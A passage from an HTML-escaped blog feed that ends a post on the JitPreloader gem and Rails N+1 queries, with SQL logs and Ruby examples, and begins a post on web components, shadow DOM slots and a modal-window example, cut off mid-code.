&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;57&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;26.235&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.9ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  &quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; LIMIT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;LIMIT&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;57&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;26.301&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]    (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.5ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COUNT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; count_all, tasks.user_id &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; tasks_user_id &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; IN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;GROUP&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; BY&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; task_users.user_id  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;It will not automatically fix N+1 queries due to an association being further queried&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user.tasks.where(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;created_at &gt; &apos;2021-05-27 00:00:00&apos;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |task|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is also a new pattern available from the &lt;a href=&quot;https://github.com/clio/jit_preloader#preloading-a-subset-of-an-association&quot;&gt;JitPreloader&lt;/a&gt; that can help with this.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt; user.preload_scoped_relation(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    name:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Newly created tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    base_association:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :tasks&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    preload_scope:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Task&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.where(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;created_at &gt; &apos;2021-05-27 00:00:00&apos;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |task|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;03&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;16.148&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.5ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  &quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; LIMIT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;LIMIT&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;03&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;16.200&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.4ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (created_at &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2021-05-27 00:00:00&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;AND&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; IN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;GROUP&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; BY&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; task_users.user_id  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;It will not automatically fix N+1 queries that are explicitly told to go back to the database&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user.tasks.reload.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |task|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;It will not automatically fix N+1 queries if you don&apos;t go through an association&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Task&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.where(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;user_id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; user.id).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |task|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s remove most of the N+1 queries from your application quickly, and give you some tools to tackle some of the more complicated N+1 query cases today.&lt;/p&gt;
&lt;p&gt;I wrote the JitPreloader gem five years ago when I got tired of having to hunt down N+1 queries by hand. It is a piece of work that I am incredibly proud of, and I am consistently surprised how much value we can get from it. It is easy for everyone to take advantage of this work and get value from it as well. I want to thank my colleagues at Clio for helping redefine this concept into a production ready package.&lt;/p&gt;
&lt;p&gt;If you&apos;ve also felt that dissatisfaction with other tools, give Aha! Develop a try. Our early access program is open now and there are a limited number of spots available — sign up quickly if you are interested. Learn more about Aha! Develop and how you can request access so your team can start using it: &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;https://www.aha.io/develop/overview&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Web components and implicit slot names]]></title><description><![CDATA[Since the dawn of the internet, web developers have had an unfulfilled desire. We've wanted "living elements" that can automatically react…]]></description><link>https://www.aha.io/engineering/articles/web-components-and-implicit-slot-names</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/web-components-and-implicit-slot-names</guid><dc:creator><![CDATA[Nathan Wright]]></dc:creator><pubDate>Fri, 28 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Since the dawn of the internet, web developers have had an unfulfilled desire. We&apos;ve wanted &quot;living elements&quot; that can automatically react to state changes and user input. We&apos;ve wanted something with the expressive and reactive power of Javascript, the simplicity and ease of use of HTML, and we&apos;ve wanted to have it all packaged up in a neat, reusable component.&lt;/p&gt;
&lt;p&gt;The introduction and standardization of &lt;a href=&quot;https://www.webcomponents.org&quot;&gt;web components&lt;/a&gt; gave HTML this superpower. Developers are now able to create native, interactive, performant, and easily reusable components using only plain HTML and Javascript. Because web components are based on native browser technologies, they can be used in any site, anywhere, without requiring a large technological investment, or a large rewrite of existing code. They also play nicely with other web frameworks, and so can be used inside plain HTML documents as as well as React, Vue, Svelte, Angular, etc. components with &lt;a href=&quot;https://custom-elements-everywhere.com&quot;&gt;very few issues&lt;/a&gt;. For technology companies like Aha!, the value add is simply too alluring to ignore.&lt;/p&gt;
&lt;p&gt;Even though web components are a browser-native technology ... or perhaps because of it ... their interface often leaves much to be desired. Indeed, &lt;a href=&quot;https://github.com/obetomuniz/awesome-webcomponents&quot;&gt;dozens of different web component frameworks&lt;/a&gt; exist expressly for the purpose of removing some of the more tedious details of using web components.&lt;/p&gt;
&lt;p&gt;We&apos;d like to share a convention that we recently started using with our web components which helps smooth over a particular ugly bit of the web component interface. We call it &quot;implicit slot names&quot;, and it&apos;s a convention that is framework agnostic and can be used no matter how you build web components.&lt;/p&gt;
&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;One of the most powerful aspects of web components is the &quot;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM&quot;&gt;Shadow DOM&lt;/a&gt;.&quot; The shadow DOM allows developers to specifically target parts of the &quot;Light DOM&quot; (the elements a user sees on the page) and transport them within a different DOM tree that only exists inside the web component itself. This enables developers to make arbitrarily complex components which theoretically have a very simple public interface, by allowing &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Element/slot&quot;&gt;slotted content&lt;/a&gt; to populate specific areas of our web component.&lt;/p&gt;
&lt;p&gt;Take, for example, a web component for a modal window. A modal window typically has three specific areas within it — a header, a body, and a footer.&lt;/p&gt;
&lt;img src=&quot;/b00da4551c4df69b1df455e56ab7c336/sections.png&quot; class=&quot;p-10&quot; alt=&quot;Modal window sections&quot; /&gt;
&lt;p&gt;We discovered that the sweet spot for web components is when we build fairly simple components that can be composed together to make more complex things. This allows us to cleanly separate the concerns of one component from that of another. To this end, we built four different components to create a full modal window — namely a &lt;code&gt;modal-window&lt;/code&gt;, a &lt;code&gt;modal-header&lt;/code&gt;, a &lt;code&gt;modal-body&lt;/code&gt;, and a &lt;code&gt;modal-footer&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here is a simple example to illustrate how and why we build implicit slot names into our web components, as well as the benefits they provide:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// ----- JAVASCRIPT -----&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalWindow&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; template&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;template&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    template.innerHTML &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        :host {&lt;/span&gt;&lt;/span&gt;
